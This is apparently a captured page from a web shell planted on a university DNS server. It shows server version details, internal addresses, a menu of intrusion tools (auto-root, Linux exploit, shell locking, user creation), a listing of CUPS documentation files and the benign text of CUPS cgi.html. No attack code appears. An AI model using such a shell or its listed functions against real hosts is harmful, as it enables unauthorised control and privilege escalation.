Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
cups /
doc-root /
help /
[ HOME SHELL ]
Name
Size
Permission
Action
accounting.html
2.63
KB
-rw-r--r--
admin.html
11.66
KB
-rw-r--r--
api-admin.html
16.86
KB
-rw-r--r--
api-filter.html
57.21
KB
-rw-r--r--
api-ppd.html
84.63
KB
-rw-r--r--
cgi.html
2.12
KB
-rw-r--r--
cupspm.html
434.33
KB
-rw-r--r--
encryption.html
4.21
KB
-rw-r--r--
firewalls.html
3.94
KB
-rw-r--r--
glossary.html
2.66
KB
-rw-r--r--
kerberos.html
4.58
KB
-rw-r--r--
license.html
11.78
KB
-rw-r--r--
man-backend.html
9.71
KB
-rw-r--r--
man-cancel.html
2.79
KB
-rw-r--r--
man-classes.conf.html
1.5
KB
-rw-r--r--
man-client.conf.html
6.95
KB
-rw-r--r--
man-cupsaccept.html
2.71
KB
-rw-r--r--
man-cups-config.html
3.52
KB
-rw-r--r--
man-cupsd.conf.html
39.71
KB
-rw-r--r--
man-cupsd-helper.html
3.05
KB
-rw-r--r--
man-cupsd.html
3.76
KB
-rw-r--r--
man-cupsd-logs.html
9.93
KB
-rw-r--r--
man-cupsenable.html
3.2
KB
-rw-r--r--
man-cups-files.conf.html
13
KB
-rw-r--r--
man-cups.html
8.2
KB
-rw-r--r--
man-cups-lpd.html
4.66
KB
-rw-r--r--
man-cups-snmp.html
2.96
KB
-rw-r--r--
man-cupstestppd.html
4.94
KB
-rw-r--r--
man-filter.html
11.7
KB
-rw-r--r--
man-ippevepcl.html
1.94
KB
-rw-r--r--
man-ippeveprinter.html
10.03
KB
-rw-r--r--
man-ippfind.html
9.77
KB
-rw-r--r--
man-ipptoolfile.html
30.03
KB
-rw-r--r--
man-ipptool.html
7.56
KB
-rw-r--r--
man-lpadmin.html
10.65
KB
-rw-r--r--
man-lpc.html
2.52
KB
-rw-r--r--
man-lp.html
7.78
KB
-rw-r--r--
man-lpinfo.html
3.76
KB
-rw-r--r--
man-lpmove.html
2.08
KB
-rw-r--r--
man-lpoptions.html
4.31
KB
-rw-r--r--
man-lpq.html
2.19
KB
-rw-r--r--
man-lpr.html
6.38
KB
-rw-r--r--
man-lprm.html
2.3
KB
-rw-r--r--
man-lpstat.html
4.77
KB
-rw-r--r--
man-mime.convs.html
2.89
KB
-rw-r--r--
man-mime.types.html
5.72
KB
-rw-r--r--
man-notifier.html
1.49
KB
-rw-r--r--
man-ppdc.html
3.78
KB
-rw-r--r--
man-ppdhtml.html
2.11
KB
-rw-r--r--
man-ppdi.html
2.27
KB
-rw-r--r--
man-ppdmerge.html
2.03
KB
-rw-r--r--
man-ppdpo.html
2.33
KB
-rw-r--r--
man-printers.conf.html
1.58
KB
-rw-r--r--
man-subscriptions.conf.html
1.61
KB
-rw-r--r--
network.html
18.56
KB
-rw-r--r--
options.html
16.42
KB
-rw-r--r--
overview.html
3.4
KB
-rw-r--r--
policies.html
21.25
KB
-rw-r--r--
postscript-driver.html
20.5
KB
-rw-r--r--
ppd-compiler.html
42.29
KB
-rw-r--r--
raster-driver.html
17.57
KB
-rw-r--r--
ref-ppdcfile.html
69.29
KB
-rw-r--r--
security.html
4.44
KB
-rw-r--r--
sharing.html
4.45
KB
-rw-r--r--
spec-banner.html
4.05
KB
-rw-r--r--
spec-command.html
6.08
KB
-rw-r--r--
spec-design.html
11.61
KB
-rw-r--r--
spec-ipp.html
65.41
KB
-rw-r--r--
spec-ppd.html
86.91
KB
-rw-r--r--
spec-raster.html
23.34
KB
-rw-r--r--
spec-stp.html
3.79
KB
-rw-r--r--
translation.html
24.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cgi.html
<!DOCTYPE html> <html> <!-- SECTION: Getting Started --> <head> <title>Using CGI Programs</title> <link rel="stylesheet" type="text/css" href="../cups-printable.css"> </head> <body> <h1 class="title">Using CGI Programs</h1> <p>CUPS provides a dynamic web interface through dedicated CGI programs that are executed when users open special directories on the CUPS server. Each CGI performs administration, class, help, job, and printer functions as directed by the user, but the actual programs that are run and functions that are available are limited to those that were originally designed into the scheduler.</p> <p>CUPS also supports CGI scripts/programs for pages you want to provide, although this functionality is disabled by default. The "application/x-httpd-cgi" MIME media type is used to identify CGI content and can be associated with any filename extension. The scheduler requires CGI content to have the execute bit set, not have world or group write permissions, and any CGI scripts need to include a <tt>#!</tt> line as the first line of a script to identify the script interpreter. For example, a PHP script would look like:</p> <pre class="example"> #!/usr/bin/php -fn <?php ... ?> </pre> <h2><a name="CONFIG">Configuring the Server</a></h2> <p>In order to enable the corresponding type, you must create a new <var>/etc/cups/cgi.types</var> file which maps the filename extensions you use to the appropriate MIME types. For example, the following will support CGI programs/scripts with the "cgi" extension:</p> <pre class="command"> application/x-httpd-cgi cgi </pre> <h2><a name="LIMITS">Limitations</a></h2> <p>CUPS implements most of the CGI/1.1 specification, with the following exceptions:</p> <ul> <li>No PATH_INFO or PATH_TRANSLATED support</li> <li>Limited HTTP field support; only the Content-Length (<tt>CONTENT_LENGTH</tt>), Content-Type (<tt>CONTENT_TYPE</tt>), Cookie (<tt>HTTP_COOKIE</tt>), Referrer (<tt>HTTP_REFERRER</tt>), and User-Agent (<tt>HTTP_USER_AGENT</tt>) fields are placed in environment variables at this time</li> </ul> </body> </html>
Close